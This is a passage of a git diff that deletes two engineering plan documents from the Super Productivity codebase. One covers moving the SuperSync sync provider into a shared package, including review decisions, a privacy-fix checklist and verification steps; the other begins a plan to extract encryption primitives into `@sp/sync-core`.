Vitest spec asserting the reset survives the port adapter. -- **`deleteAllData` response-shape invariant.** L347 logs the full - `validated` response. `validateDeleteAllDataResponse` returns - `{ success: boolean }` today; pin the invariant that the - response-validators port must continue to return a primitives-only - shape, or the log line must be rewritten to log explicit fields. -- **Spec privacy-regression test.** Add one Vitest spec that drives - an HTTP-error path with a body of `'{"taskId":"abc","title":"secret -task title"}'` and asserts (a) the captured `SyncLogger` mock's - meta contains neither string and (b) the thrown `Error.message` - contains neither string. - -### Action items folded into PR 7a/7b - -The new blockers raise the privacy-sweep scope. The commit shape -stays two-commit (7a helper promotion, 7b bulk move), but 7b's -content list grows: - -- Apply the four new privacy fixes inline at their call sites - (AuthFailSPError body drop, native-error rethrow scrub, timeout - path drop, extracted-reason cap). -- Add the JSDoc invariants for `getEncryptKey`, `getWebSocketParams`, - `_cachedServerSeqKey`. -- Add the spec privacy-regression test as a single Vitest spec under - the bulk move. -- Switch `KeyValueStoragePort` → narrow `SuperSyncStorage` port - shape. -- Rename the promoted helper to `isRetryableUploadError` (or another - intent-anchored name agreed at commit time). -- Drop `extraPath` from the factory; update - `sync-providers.factory.ts`. -- Factory shim return type must explicitly include - `OperationSyncCapable<'superSyncOps'>` and - `RestoreCapable` so consumers like - `snapshot-upload.service.ts:77-95` and - `super-sync-restore.service.ts:118` keep type-checking without - `as any` casts. - -### Recorded dissents - -- **Alternatives — spec pre-split before move.** Argued for a - three-commit shape: 7a helper, 7b pre-split monolith into three - themed files (Jasmine, behavior-preserving), 7c bulk move + - Vitest convert. Rejected by the architecture/simplicity - consensus that conflating any structural change with the - Jasmine→Vitest port obscures conversion mistakes. Recorded - because the alternative is genuinely lower-risk for review - diffing; consensus picks lower-PR-count + the same WebDAV-slice - pattern. -- **Alternatives — move `CompressError` / `DecompressError` into - `@sp/sync-core` for strict behavior preservation.** Argued the - doc's "no instanceof catches exist today" audit could be - invalidated by a future contributor; relocating the error - classes is a strictly safer move. Rejected because the relocation - itself is scope creep (the error classes live in app-side - sync-errors with other SP-specific error classes that don't move - cleanly together), and the grep is reliable for the size of the - current codebase. Adopt the direct import; if a future consumer - needs `instanceof CompressError` at the SuperSync boundary, that - consumer adds the relocation as a separate commit. -- **Alternatives — barrel split now (PR 7d).** Argued the cost of - the tiered split rises with each slice. Rejected because - performance's bundle-size estimate (95-100 KB CJS) is under any - threshold a reviewer flagged, and barrel splitting after LocalFile - (slice 8) covers all providers in one polish PR. -- **Alternatives — type-only `@sp/super-sync-protocol-types` leaf - package.** Argued ~50 LOC type-only leaf removes the - `provider.types.ts` duplication risk. Rejected for this slice - (scope creep), recorded as a candidate shape if more providers - need typed responses without `@sp/shared-schema` coupling. - -### Simplicity-driven scope reductions - -The simplicity reviewer recommended cutting the doc by ~40-45% to -land near ~450 lines, closing 7 of 8 open questions in-doc with -defaults. After this consensus folds in: - -- All 8 open questions now have decisions; section "Open questions - for multi-review" below collapses to a one-line pointer to this - consensus block. -- "Storage port" section drops option A vs B discussion (option A - picked). -- "Response validators port" drops the schema-relocation - alternatives (decision is the port). -- "isTransientNetworkError" section drops options 2 and 3 (option 1 - picked, renamed). -- "Compression" section drops the logger-handling subsection and the - open-question pointer. -- "Privacy sweep checklist" drops the "Privacy invariants pinned" - meta-section (the new-blockers content above is the substantive - list). -- "Spec migration scope" drops the describe-block hierarchy (one - sentence on file size + decision). -- "Risks for the slice" drops items now folded into the consensus - blockers (OAuth/SP-account auth, response-shape coupling); keeps - native compressed-body path and WebSocket integration boundary as - real residual risks. - ---- - -## What moves - -### Source files - -From `src/app/op-log/sync-providers/super-sync/` → -`packages/sync-providers/src/super-sync/`: - -- `super-sync.ts` (692 lines) — provider class implementing - `SyncProviderBase`, `OperationSyncCapable<'superSyncOps'>`, - `RestoreCapable`. Methods: `isReady`, `setPrivateCfg`, - `clearAuthCredentials`, `uploadOps`, `downloadOps`, - `getLastServerSeq`, `setLastServerSeq`, `uploadSnapshot`, - `getRestorePoints`, `getStateAtSeq`, `getWebSocketParams`, - `deleteAllData`, `getEncryptKey`. Private helpers: `_cfgOrError`, - `_resolveBaseUrl`, `_getServerSeqKey`, `_checkHttpStatus`, - `_extractServerErrorReason`, `_sanitizeToken`, `_getErrorMessage`, - `_handleNativeRequestError`, `_fetchApi`, `_fetchApiCompressed`, - `_fetchApiCompressedNative`, `_doWebFetch`, `_doNativeFetch`. -- `super-sync.model.ts` (17 lines) — `SuperSyncPrivateCfg` interface, - `SUPER_SYNC_DEFAULT_BASE_URL` constant. -- `super-sync.spec.ts` (1553 lines, Jasmine → Vitest). - -### Stays app-side - -- `response-validators.ts` (130 lines) — imports - `@sp/shared-schema`, which is banned in `packages/sync-providers/**` - by ESLint. Becomes a `responseValidators` dep injected into the - package class. See § "Response validators port" below. -- `response-validators.spec.ts` (288 lines) — stays with the - validators. -- `src/app/op-log/sync/super-sync-status.service.ts` and its spec — - NgRx-coupled status observable. -- `src/app/op-log/sync/super-sync-websocket.service.ts` and its spec - — WebSocket connection + reconnection logic that touches NgRx - state and uses Angular DI for `SuperSyncProvider`. -- `src/app/imex/sync/super-sync-restore.service.ts` and its spec — - Restore-snapshot UI orchestration. -- `src/app/imex/sync/supersync-encryption-toggle.service.ts` and its - spec — Encryption-toggle orchestration with dialog flows. -- `src/app/op-log/sync-providers/provider.const.ts` - (`SyncProviderId.SuperSync`) — app keeps the enum for OAuth - routing and config-UI dispatch; the package adds the string - constant alongside. -- `src/app/op-log/sync-providers/sync-providers.factory.ts` — app - composition. The `new SuperSyncProvider(extraPath)` line collapses - to `createSuperSyncProvider(extraPath)`. - ---- - -## Ports the package class needs - -Five of these already exist (introduced by slices 5-6); two are new -to this slice. - -### Already-introduced ports (reuse) - -1. **`SyncLogger` (`@sp/sync-core`)** — replaces every `SyncLog.*` - call. The app injects `OP_LOG_SYNC_LOGGER`. -2. **`ProviderPlatformInfo` (`@sp/sync-providers`)** — replaces - `Capacitor.isNativePlatform() || IS_ANDROID_WEB_VIEW` at - `super-sync.ts:82`. `isNativePlatform` is already the union - (Capacitor native + Android WebView shim), so the package can read - `deps.platformInfo.isNativePlatform` directly. The app injects - `APP_PROVIDER_PLATFORM_INFO`. -3. **`NativeHttpExecutor` (`@sp/sync-providers`)** — backs - `executeNativeRequestWithRetry`. Package imports the helper - directly from the same package; the executor is injected via - `deps.nativeHttpExecutor`. The app injects - `(cfg) => CapacitorHttp.request(cfg)` (mirrors the Dropbox factory). -4. **`SyncCredentialStorePort` (`@sp/sync-providers`)** — replaces - `new SyncCredentialStore(SyncProviderId.SuperSync)` at - `super-sync.ts:73`. App injects a `SyncCredentialStore` instance. -5. **`WebFetchFactory` (`@sp/sync-providers`)** — adopted for - consistency with Dropbox/WebDAV (identical iOS late-patching risk - at construction time). - -### New ports (this slice) - -6. **`SuperSyncResponseValidators` (new, six methods)** — see § - "Response validators port" below. -7. **`SuperSyncStorage` (new, three methods)** — narrow port for - `lastServerSeq` (per multi-review consensus, not the generic - `KeyValueStoragePort` originally proposed). See § "Storage port - for `lastServerSeq`" below. - ---- - -## Response validators port - -`super-sync.ts` calls six validators today (`validateOpUploadResponse`, -`validateOpDownloadResponse`, `validateSnapshotUploadResponse`, -`validateRestorePointsResponse`, `validateRestoreSnapshotResponse`, -`validateDeleteAllDataResponse`). Each takes `unknown` and returns the -typed response (or throws `InvalidDataSPError`). Validators use -Zod-like `safeParse` against schemas from `@sp/shared-schema`, which -is banned in `packages/sync-providers/**` (per the long-term plan's -"Domain Rule"). Validators stay app-side; package injects via -`deps.responseValidators`. - -### Port shape - -```ts -// packages/sync-providers/src/super-sync/response-validators.ts -import type { - OpUploadResponse, - SuperSyncOpDownloadResponse, - SnapshotUploadResponse, - RestorePointsResponse, - RestoreSnapshotResponse, -} from '../provider.types'; - -export interface SuperSyncResponseValidators { - validateOpUpload(data: unknown): OpUploadResponse; - validateOpDownload(data: unknown): SuperSyncOpDownloadResponse; - validateSnapshotUpload(data: unknown): SnapshotUploadResponse; - validateRestorePoints(data: unknown): RestorePointsResponse; - validateRestoreSnapshot(data: unknown): RestoreSnapshotResponse; - validateDeleteAllData(data: unknown): { success: boolean }; -} -``` - -App-side `response-validators.ts` and its spec stay in -`src/app/op-log/sync-providers/super-sync/`; they implement the port -and are injected via `deps.responseValidators`. Validators throw -`InvalidDataSPError` (already a package error class from PR 5a) — -the package class catches nothing here, so error identity -preservation works through the re-export shim. - -`RestorePointType` narrowing: package types -(`provider.types.ts:144-197`) stay generic on -`TRestorePointType extends string = string`. The app shim narrows -at the boundary — mirrors `OperationSyncCapable<'superSyncOps'>`. - ---- - -## Storage port for `lastServerSeq` - -Three `localStorage` call sites in `super-sync.ts:183, 189, 351`. -`_getServerSeqKey()` hashes `${baseUrl}|${accessToken}` so different -users on the same server get separate sequence tracking; the cached -key is invalidated in `setPrivateCfg()` (L91 reset), pinned as an -invariant in the package class JSDoc. - -Port shape (consensus pick — narrow, not generic): - -```ts -// packages/sync-providers/src/super-sync/storage.ts -export interface SuperSyncStorage { - /** Returns null if the key is unset. */ - getLastServerSeq(key: string): number | null; - setLastServerSeq(key: string, value: number): void; - removeLastServerSeq(key: string): void; -} -``` - -Methods sync because `localStorage` is sync. Three methods, no -leakage of the storage backend. Package owns the prefix constant -(`super_sync_last_server_seq_`) and the int conversion. - -App wiring: - -```ts -// In createSuperSyncProvider, before constructing the package class: -const APP_SUPER_SYNC_STORAGE: SuperSyncStorage = { - getLastServerSeq: (key) => { - const v = localStorage.getItem(key); - return v == null ? null : Number.parseInt(v, 10); - }, - setLastServerSeq: (key, value) => localStorage.setItem(key, String(value)), - removeLastServerSeq: (key) => localStorage.removeItem(key), -}; -``` - ---- - -## Promote `isRetryableUploadError` (renamed) - -Two implementations exist today: - -- **App-side broad-pattern version** at - `src/app/op-log/sync/sync-error-utils.ts:96` — regex-pattern matching - on lowercased message string. Looks for `failed to fetch`, - `network error`, `timeout`, `econnrefused`, HTTP 500/502/503/504, - server phrases ("transaction rolled back"). Two consumers: - `super-sync.ts:28` (moving) and - `operation-log-upload.service.ts:31, 166` (app-side, not moving). -- **Package version** at - `packages/sync-providers/src/http/native-http-retry.ts:136` — - native-error-code-aware. Different semantic surface; designed for - the native retry helper. - -Consensus promotes the broad-pattern version into the package as -**`isRetryableUploadError(error: string | Error | undefined)`** -(intent-anchored name to avoid colliding with `isTransientNetworkError` -already in the barrel). App `sync-error-utils.ts:96` re-exports it -aliased to the current name so `operation-log-upload.service.ts` -keeps importing unchanged. SuperSync (in the package) imports -`isRetryableUploadError` directly. Package barrel exports both -distinct helpers. - ---- - -## Compression — direct `@sp/sync-core` import - -`super-sync.ts:22-25` currently imports `compressWithGzip` / -`compressWithGzipToString` from the app-side shim at -`encryption/compression-handler.ts`, which wraps thrown errors in -`CompressError`. Grep across `src/` confirms no consumer catches -`CompressError` from SuperSync's call paths — the compression result -bubbles up through `_fetchApiCompressed` / `_fetchApiCompressedNative` -generic `catch (error)` clauses. The package version imports the -helpers directly from `@sp/sync-core` and passes `deps.logger` -through the `{ logger?: SyncLogger }` option. Generic `Error` -propagation is observationally equivalent. App-side -`compression-handler.ts` shim stays in place for -`EncryptAndCompressHandlerService` (other consumer). - ---- - -## Provider ID constants - -Add to the package alongside `PROVIDER_ID_DROPBOX` / `PROVIDER_ID_WEBDAV`: - -```ts -export const PROVIDER_ID_SUPER_SYNC = 'SuperSync' as const; -``` - -Replace `SyncProviderId.SuperSync` reads inside the package with this -constant. App-side `super-sync.ts` factory shim uses the same type- -level `AssertSuperSyncId` conditional pattern as Dropbox: - -```ts -type AssertSuperSyncId = SyncProviderId.SuperSync extends typeof PROVIDER_ID_SUPER_SYNC - ? true - : never; -``` - -so renames or drift fails at compile time without `as unknown as` -double-casts at runtime. - ---- - -## Privacy sweep checklist - -The substantive blocker list lives in § "New blockers surfaced (must -fix in slice)" inside the multi-review consensus block at the top of -this doc. Summary of what to apply during PR 7b: - -- **A1 fix (`_doWebFetch:582` and `_doNativeFetch:646-648`).** Replace - the response-body-in-`Error.message` with the extracted-reason form: - call `_extractServerErrorReason(body)` (already exists), cap at 80 - chars, thread through. Web form: `HTTP — `; - native form: `HTTP — ` (`CapacitorHttp` doesn't - surface `statusText`). -- **`AuthFailSPError(reason, body)` body drop.** Drop the `body` arg - at `super-sync.ts:413`; the package-side class retains it on - `additionalLog`. -- **Native-rethrow scrub** at `super-sync.ts:478-481`. Drop the - parenthesised `(${errorMessage})` from the user-facing message. -- **Timeout `Error.message` path drop** at `super-sync.ts:620`. -- **`_extractServerErrorReason` length cap** at L424-432: 80 chars, - document the fixed-vocabulary server contract. -- **JSDoc invariants** on `getEncryptKey`, `getWebSocketParams`, - `_cachedServerSeqKey`, `deleteAllData` response shape. -- **B3.5 — gzip diagnostic logging.** `super-sync.ts:259-263` logs - first 10 bytes of compressed output (gzip header `1f 8b 08 ...`). - Invariant; pin as documented diagnostic boundary so future changes - don't widen it. -- **Spec privacy-regression test.** One Vitest spec drives an HTTP- - error path with a body of - `'{"taskId":"abc","title":"secret task title"}'` and asserts the - captured `SyncLogger` mock's meta and the thrown `Error.message` - contain neither string. - ---- - -## Spec migration scope - -`super-sync.spec.ts` is 1553 lines, ~2× `dropbox-api.spec.ts` and -~3× `webdav-api.spec.ts`. The WebDAV slice's consensus decision was -to keep monolithic, with the reasoning that "splitting during -Jasmine→Vitest migration conflates two changes and balloons review -diff." - -Top-level `describe` blocks (per `grep -n 'describe('`): - -**Keep monolithic for the move, defer split to a follow-up commit.** -Mirrors WebDAV slice precedent. The Jasmine→Vitest conversion -(`jasmine.SpyObj` → `vi.Mocked`, `spyOn(...).and.returnValue` → -`vi.spyOn(...).mockReturnValue`) is itself a high-risk one-to-one -port; splitting concurrently obscures conversion mistakes. Future -split commit (`super-sync-core.spec.ts` / `super-sync-ops.spec.ts` / -`super-sync-fetch.spec.ts`) reads cleanly against an already-green -monolithic Vitest file. - -`super-sync.spec.ts:1202-1303` currently uses a -`TestableSuperSyncProvider` subclass override to swap the -`isNativePlatform` getter. Under Vitest with injected -`platformInfo` + `nativeHttpExecutor` mocks, this subclass goes -away (mirrors Dropbox slice un-skip). - ---- - -## Suggested commit shape - -Following the Dropbox 5a/5b and WebDAV 6a/6b precedent: helper -promotion first, then the bulk move. - -1. **`refactor(sync-providers): promote isRetryableUploadError helper`** - (PR 7a). Move the broad-pattern `isTransientNetworkError` from - `src/app/op-log/sync/sync-error-utils.ts:96` into - `packages/sync-providers/src/http/retryable-upload-error.ts` - under the intent-anchored name `isRetryableUploadError` (avoids - colliding with the package's existing native-code-aware - `isTransientNetworkError`). Re-export from the package barrel - as a distinct symbol. App `sync-error-utils.ts` becomes a - re-export shim aliased to the current name for - `operation-log-upload.service.ts`. No behavior change. -2. **`refactor(sync-providers): move SuperSync provider into package`** - (PR 7b). The bulk move. `super-sync.ts`, `super-sync.model.ts`, - and `super-sync.spec.ts` move into - `packages/sync-providers/src/super-sync/`. Convert spec to - Vitest. Add `PROVIDER_ID_SUPER_SYNC` constant + - `AssertSuperSyncId` shim. Add narrow `SuperSyncStorage` port + - `SuperSyncResponseValidators` port. Switch compression to direct - `@sp/sync-core` import. Apply the four privacy fixes inline - (AuthFailSPError body drop, native-rethrow scrub, timeout path - drop, extracted-reason cap at 80 chars). Add the JSDoc - invariants. Add the spec privacy-regression test. App-side - `super-sync.ts` shrinks to `createSuperSyncProvider()` (no - `extraPath`) wiring `OP_LOG_SYNC_LOGGER`, - `APP_PROVIDER_PLATFORM_INFO`, `APP_WEB_FETCH`, - `SyncCredentialStore`, `CapacitorHttp.request`, - `APP_SUPER_SYNC_STORAGE`, and the app's `response-validators` - module into `SuperSyncDeps`. Factory return type explicitly - `SuperSyncProvider & OperationSyncCapable<'superSyncOps'> & -RestoreCapable` so existing consumers - (`snapshot-upload.service.ts:77-95`, - `super-sync-restore.service.ts:118`) keep type-checking. Delete - `TestableSuperSyncProvider` subclass from the spec. - -Each commit ships independently green: package tests + lint after -each. - ---- - -## Open questions for multi-review - -All resolved in § "Multi-review consensus" above. - ---- - -## Verification gates - -Before merging: - -- `npm run sync-providers:test` — package specs green (performance - reviewer projects ~+60-70 new Vitest specs after Jasmine port). -- `npm run sync-providers:build` — package builds. Performance - estimate: CJS lands at ~95-100 KB (under the original 110 KB - projection; SuperSync's private helpers minify well). Tiered - barrel split stays a documented deferral. -- `npm run lint` — boundary lint clean. -- Targeted app specs: - `super-sync-status.service.spec.ts`, - `super-sync-websocket.service.spec.ts`, - `super-sync-restore.service.spec.ts`, - `supersync-encryption-toggle.service.spec.ts`, - `response-validators.spec.ts`, - `sync-wrapper.service.spec.ts`, - `operation-log-upload.service.spec.ts` (verifies the helper - re-export shim path), - `encryption-password-change.service.spec.ts`, - `op-log/testing/integration/service-logic.integration.spec.ts` - (both flagged by the correctness reviewer as indirectly exercising - SuperSync behavior). -- Full `npm test` (two timezone variants per the WebDAV slice - protocol). -- Full E2E (Playwright + SuperSync docker-compose per - `e2e/CLAUDE.md`). -- Manual SuperSync round-trip: - - Snapshot upload (initial, recovery, migration reasons). - - Op upload (compressed payload, native vs web path). - - Op download (paginated, with `excludeClient`, with `limit`). - - Restore points fetch. - - `getStateAtSeq` snapshot restore. - - Encryption toggle flow (when `isEncryptionEnabled`, `getEncryptKey` - returns the key; when disabled, returns `undefined`). - - Auth failure path (401/403 → `AuthFailSPError`). - - Server URL switching (account migration invalidates cached - `lastServerSeq` key — verify `_cachedServerSeqKey` reset on - `setPrivateCfg`). - - Native-platform path on Android via WebView (binary body - corruption — verify base64 gzip path still works). - - iOS native (CapacitorHttp `_fetchApiCompressedNative` path). -- WebSocket reconnection smoke test (out of scope this slice, but - verify `getWebSocketParams` still returns the right - `{ baseUrl, accessToken }` shape). - ---- - -## Not in scope this slice - -- LocalFile provider move (slice 8). -- WebSocket service move (`super-sync-websocket.service.ts` stays - app-side — NgRx-coupled and not relevant to the provider boundary). -- Status service move (`super-sync-status.service.ts` stays - app-side). -- Restore service move (`super-sync-restore.service.ts` stays - app-side — UI orchestration). -- Encryption toggle service move - (`supersync-encryption-toggle.service.ts` stays app-side). -- Per-package barrel split - (`@sp/sync-providers/super-sync`, etc.) — deferred to PR 7 - polish. -- `md5HashPromise` consumer migration in - `local-file-sync-base.ts:178` — LocalFile slice. -- Removal of the legacy `SyncProviderId.SuperSync` enum value — - app keeps the enum for OAuth routing and config-UI dispatch; the - package adds the string constant alongside. -- `compression-handler.ts`'s app-side shim (still wraps - `EncryptAndCompressHandlerService`; only SuperSync's call site - moves to direct `@sp/sync-core` import). -- The performance reviewer's `getElementsByTagNameNS('*', name)` - one-pass-childNodes-scan suggestion from the WebDAV slice — - unrelated to SuperSync; tracked for a separate perf pass. - ---- - -## Risks for the slice - -- **Spec migration scope.** 1553 lines of Jasmine → Vitest is the - largest single conversion in this PR series. Mitigations: - spec-by-spec one-to-one porting, run package tests after each - `describe`-block conversion, no semantic changes during conversion. -- **Native compressed-body path.** Three CapacitorHttp call sites - (`super-sync.ts:127, 229, 533`) route through - `executeNativeRequestWithRetry` to dodge Android WebView's binary- - body corruption and iOS WebKit's response-body bugs. - `NativeHttpExecutor`'s `data: string` argument is the base64-gzip - payload; verify the response shape (Capacitor returns - base64-encoded binary on some platforms; the validators expect - JSON-decoded objects) is correctly decoded by the port adapter. -- **WebSocket integration boundary.** `SuperSyncWebSocketService` is - app-side and reads `getWebSocketParams()`. Currently the method - returns plain `{ baseUrl, accessToken } | null` (no - `SuperSyncProvider`-typed leakage) — pin as JSDoc invariant per - the consensus block. WebSocket service stays app-side until - slice 8 polish, if then. diff --git a/docs/plans/2026-05-13-extract-encryption-to-sync-core.md b/docs/plans/2026-05-13-extract-encryption-to-sync-core.md deleted file mode 100644 index ba018c4b3e..0000000000 --- a/docs/plans/2026-05-13-extract-encryption-to-sync-core.md +++ /dev/null @@ -1,658 +0,0 @@ -# Extract Encryption Primitives to `@sp/sync-core` (v2) - -> **Status: ✅ Complete.** Extraction merged via `049dbb5e53` (initial), then -> follow-up multi-review rounds that: -> -> - collapsed the WebCrypto/`@noble` strategy pattern into flat `aesEncrypt`/`aesDecrypt` helpers -> - split the original 741-line module into five focused files under `packages/sync-core/src/encryption/` -> - moved test coverage to `packages/sync-core/tests/encryption.spec.ts` (vitest, 48 tests) plus a Karma smoke spec at `src/app/op-log/encryption/encryption.browser.spec.ts` -> - added `setLegacyKdfWarningHandler` as a side-channel diagnostic complementing `decryptWithMigration`'s structural `wasLegacyKdf` -> - hardened the public barrel to match the originally-planned surface and added an `instanceof` regression guard for `WebCryptoNotAvailableError` in `sync-errors.identity.spec.ts` -> - simplified `OperationEncryptionService` (dropped the `_encrypt`/`_decrypt` private aliasing) and replaced `mock-encryption.helper.ts` with real encryption under weakened Argon2 params (`setArgon2ParamsForTesting({ memorySize: 8, iterations: 1 })`) -> -> The historical plan below is preserved for context. - -> **For Claude:** REQUIRED SUB-SKILL: Use superpowers:executing-plans to implement this plan task-by-task. - -**Goal:** Move only the pure-function encryption primitives (`encryption.ts`, 704 lines) out of `src/app/op-log/encryption/` and into `@sp/sync-core`. Keep `EncryptAndCompressHandler` and `compression-handler.ts` (the app-specific error/prefix translation wrappers) in `src/`. Keep `OperationEncryptionService` in `src/` as the Angular DI wrapper. - -**Why now:** - -1. The existing `@sp/sync-core` already hosts framework-agnostic sync code; encryption fits its stated purpose ("framework-agnostic core types and utilities for Super Productivity sync"). -2. `super-sync-server` is in the same monorepo and may want server-side encrypted-snapshot support later — having `encrypt/decrypt` in the package makes that one import, not a port. -3. Reduces app surface (~700 lines off `src/`) and lets the package build/typecheck independently. -4. Compression is already extracted with the same pattern; encryption is the logical follow-up. - -**Architecture:** `encryption.ts` is already pure (no Angular, no DI, no Electron). Its only app couplings are: (a) one `Log.warn` call, (b) `WebCryptoNotAvailableError` imported from `op-log/core/errors/sync-errors.ts`. The first is folded into `DecryptResult` (return diagnostics structurally). The second is moved to the package and re-exported from `sync-errors.ts` so `instanceof` identity is preserved at the two app-side check sites. - -**Tech Stack:** TypeScript strict, tsup (dual ESM+CJS), Vitest (package), Jasmine/Karma (app specs stay in `src/`), `hash-wasm` (Argon2id), `@noble/ciphers` (AES-GCM fallback). - ---- - -## What's moving vs. what's staying — corrected scope - -**Moving to `@sp/sync-core`:** - -- `src/app/op-log/encryption/encryption.ts` → `packages/sync-core/src/encryption.ts` -- `WebCryptoNotAvailableError` class from `sync-errors.ts:409-…` → `packages/sync-core/src/encryption.ts` (or sibling file) - -**Staying in `src/` (verified app-coupled):** - -- `src/app/op-log/encryption/encrypt-and-compress-handler.service.ts` — imports `getSyncFilePrefix`/`extractSyncFileStateFromPrefix` from `util/sync-file-prefix.ts`, throws `DecryptNoPasswordError` / `JsonParseError` / app-specific `DecryptError`. Not portable without a separate redesign. -- `src/app/op-log/encryption/compression-handler.ts` — wrapper that injects `createCompressError: (e) => new CompressError(e)` and `APP_COMPRESSION_LOG_MESSAGES`. Deletion would drop `CompressError`/`DecompressError` typing and the error-message rewrite. Out of scope. -- `src/app/op-log/sync/operation-encryption.service.ts` — Angular `@Injectable` wrapper typing primitives over `SyncOperation`. Stays; imports primitives from `@sp/sync-core` after Task 3. - -**Specs:** stay in `src/` and run under Karma against the package. Reason: Karma uses real Chrome (full Web Crypto), the specs spy heavily on `window.crypto.subtle`, and porting ~790 lines of Jasmine to Vitest is pure churn. The package gets a small smoke test for the public API. - -**Public API added to `@sp/sync-core`:** - -- `encrypt`, `decrypt`, `encryptBatch`, `decryptBatch` -- `generateKey`, `deriveKeyFromPassword`, `encryptWithDerivedKey`, `decryptWithDerivedKey` -- `decryptWithMigration` -- `getCryptoStrategy`, `isCryptoSubtleAvailable` -- `clearSessionKeyCache`, `getSessionKeyCacheStats` -- `getArgon2Params`, `setArgon2ParamsForTesting` _(guarded — throws in production)_ -- `base642ab`, `ab2base64` -- `WebCryptoNotAvailableError` -- Types: `DerivedKeyInfo`, `DecryptResult` _(extended with `wasLegacyKdf?: boolean`)_, `CryptoStrategy` - -**Removed from plan vs. v1 (review-driven):** - -- `EncryptionDecryptError` + `createDecryptError` injection hook — `encryption.ts` throws zero `DecryptError`. Don't invent infrastructure for a problem the moved file doesn't have. -- `setEncryptionLogger` + module-level mutable `_logger` — replaced with structural return value. -- Vitest port of ~1300 spec lines — specs stay in `src/`. -- Task 3 ("port `EncryptAndCompressHandler`") — handler is not portable; out of scope. -- Splitting `EncryptAndCompressCfg` across the boundary — not needed since handler stays. - ---- - -## Task Sequence - -1. Move `WebCryptoNotAvailableError` to `@sp/sync-core` with cross-import re-export at the app boundary -2. Move `encryption.ts` to `@sp/sync-core` (single warn-line refactor) -3. Rewire all in-app consumers in one mechanical commit -4. Delete `src/app/op-log/encryption/encryption.ts` -5. Verification (typecheck, unit, lint, build, e2e smoke) -6. PR cleanup - ---- - -## Task 1: Move `WebCryptoNotAvailableError` to the package - -**Goal:** Single error class, single identity. Preserve `instanceof` checks at `sync-wrapper.service.ts:728` (`DecryptError` — owned by handler, not moved here) and `:754` (`WebCryptoNotAvailableError`). - -**Files:** - -- Create: `packages/sync-core/src/web-crypto-error.ts` -- Modify: `packages/sync-core/src/index.ts` -- Modify: `src/app/op-log/core/errors/sync-errors.ts:409-…` — replace the class with a re-export from the package - -**Step 1: Read current `WebCryptoNotAvailableError` shape** - -```bash -sed -n '405,420p' src/app/op-log/core/errors/sync-errors.ts -``` - -Expected: `export class WebCryptoNotAvailableError extends Error { override name = 'WebCryptoNotAvailableError'; ... }` — no `AdditionalLogErrorBase` parent, no extra fields. Confirm before moving (if it has extra fields, fold them into the package class). - -**Step 2: Create the class in the package** - -Write `packages/sync-core/src/web-crypto-error.ts`: - -```typescript -export class WebCryptoNotAvailableError extends Error { - override name = 'WebCryptoNotAvailableError'; - constructor(message = 'Web Crypto API (window.crypto.subtle) is not available') { - super(message); - } -} -``` - -(If Step 1 showed extra fields, mirror them here.) - -**Step 3: Export from the package barrel** - -Modify `packages/sync-core/src/index.ts` — add: - -```typescript -export { WebCryptoNotAvailableError } from './web-crypto-error'; -``` - -**Step 4: Replace the app class with a re-export** - -In `src/app/op-log/core/errors/sync-errors.ts` find the `WebCryptoNotAvailableError` class definition (around line 409). Replace with: - -```typescript -export { WebCryptoNotAvailableError } from '@sp/sync-core'; -``` - -This preserves identity for **both** call sites: - -- `sync-wrapper.service.ts:754` imports `WebCryptoNotAvailableError` from `sync-errors.ts` → resolves through re-export to the package class. -- `src/app/util/create-sha-1-hash.ts:1` (consumer found by reviewers) — same path. - -**Step 5: Build the package and verify the export** - -```bash -cd packages/sync-core && npm run build && grep -l WebCryptoNotAvailableError dist/index.d.ts dist/index.d.mts -``` - -Expected: both `.d.ts` and `.d.mts` contain the export. - -**Step 6: Run the app's typecheck** - -```bash -npx tsc --noEmit -p tsconfig.app.json 2>&1 | head -30 -``` - -Expected: 0 errors. If errors mention `WebCryptoNotAvailableError`, the re-export path is wrong. - -**Step 7: checkFile** - -```bash -npm run checkFile src/app/op-log/core/errors/sync-errors.ts -``` - -Expected: clean. - -**Step 8: Commit** - -```bash -git add packages/sync-core/src/web-crypto-error.ts packages/sync-core/src/index.ts src/app/op-log/core/errors/sync-errors.ts -git commit -m "refactor(sync-core): move WebCryptoNotAvailableError into package" -``` - ---- - -## Task 2: Port `encryption.ts` to `@sp/sync-core` - -**Goal:** Move the primitives. Eliminate the one `Log.warn` site by returning the legacy-KDF flag in `DecryptResult` instead of logging in the primitive. Guard `setArgon2ParamsForTesting` against production callers. - -**Files:** - -- Create: `packages/sync-core/src/encryption.ts` -- Create: `packages/sync-core/tests/encryption.spec.ts` _(smoke test only)_ -- Modify: `packages/sync-core/src/index.ts` -- Modify: `packages/sync-core/tsconfig.json` (add DOM lib) -- Modify: `packages/sync-core/package.json` (add deps) -- Modify: `packages/sync-core/src/encryption.ts` (refactor `Log.warn` site) - -**Step 1: Add DOM lib to package tsconfig** - -Edit `packages/sync-core/tsconfig.json`: - -```json -"lib": ["ES2022", "DOM"], -``` - -Without DOM, `window.crypto.subtle` references (~14 sites in `encryption.ts`) won't typecheck. - -**Step 2: Add deps via npm workspaces — do NOT install in sub-package** - -Edit `packages/sync-core/package.json` `dependencies`: - -```json -"dependencies": { - "hash-wasm": "^4.12.0", - "@noble/ciphers": "^2.2.0" -} -``` - -Run install from the **repo root** so npm workspaces hoists (no nested `node_modules/hash-wasm`): - -```bash -npm install -``` - -Expected: only one copy of each. Verify: - -```bash -npm ls hash-wasm @noble/ciphers -``` - -Expected: single resolved version each. If two versions surface (root + nested), align versions or downgrade to `peerDependencies`. - -**Step 3: Copy `encryption.ts` to the package** - -```bash -cp src/app/op-log/encryption/encryption.ts packages/sync-core/src/encryption.ts -``` - -Then edit `packages/sync-core/src/encryption.ts`: - -1. Replace the imports block at the top: - -```typescript -// OLD (lines 1-4): -import { argon2id } from 'hash-wasm'; -import { gcm } from '@noble/ciphers/aes.js'; -import { WebCryptoNotAvailableError } from '../core/errors/sync-errors'; -import { Log } from '../../core/log'; - -// NEW: -import { argon2id } from 'hash-wasm'; -import { gcm } from '@noble/ciphers/aes.js'; -import { WebCryptoNotAvailableError } from './web-crypto-error'; -``` - -(Note: `Log` import dropped entirely — see Step 4.) - -**Step 4: Replace `Log.warn` with structural diagnostic** - -Find the single `Log.warn` site (line ~362). Read 10 lines of context: - -```bash -grep -n "Log\." packages/sync-core/src/encryption.ts -``` - -It lives inside `decryptWithMigration` and emits a one-shot legacy-PBKDF2 warning. - -Apply two changes: - -(a) Extend the existing `DecryptResult` interface (line ~424 in the source). Add `wasLegacyKdf?: boolean`: - -```typescript -export interface DecryptResult { - plaintext: string; - wasLegacyKdf?: boolean; -} -``` - -(b) In `decryptWithMigration`, remove the 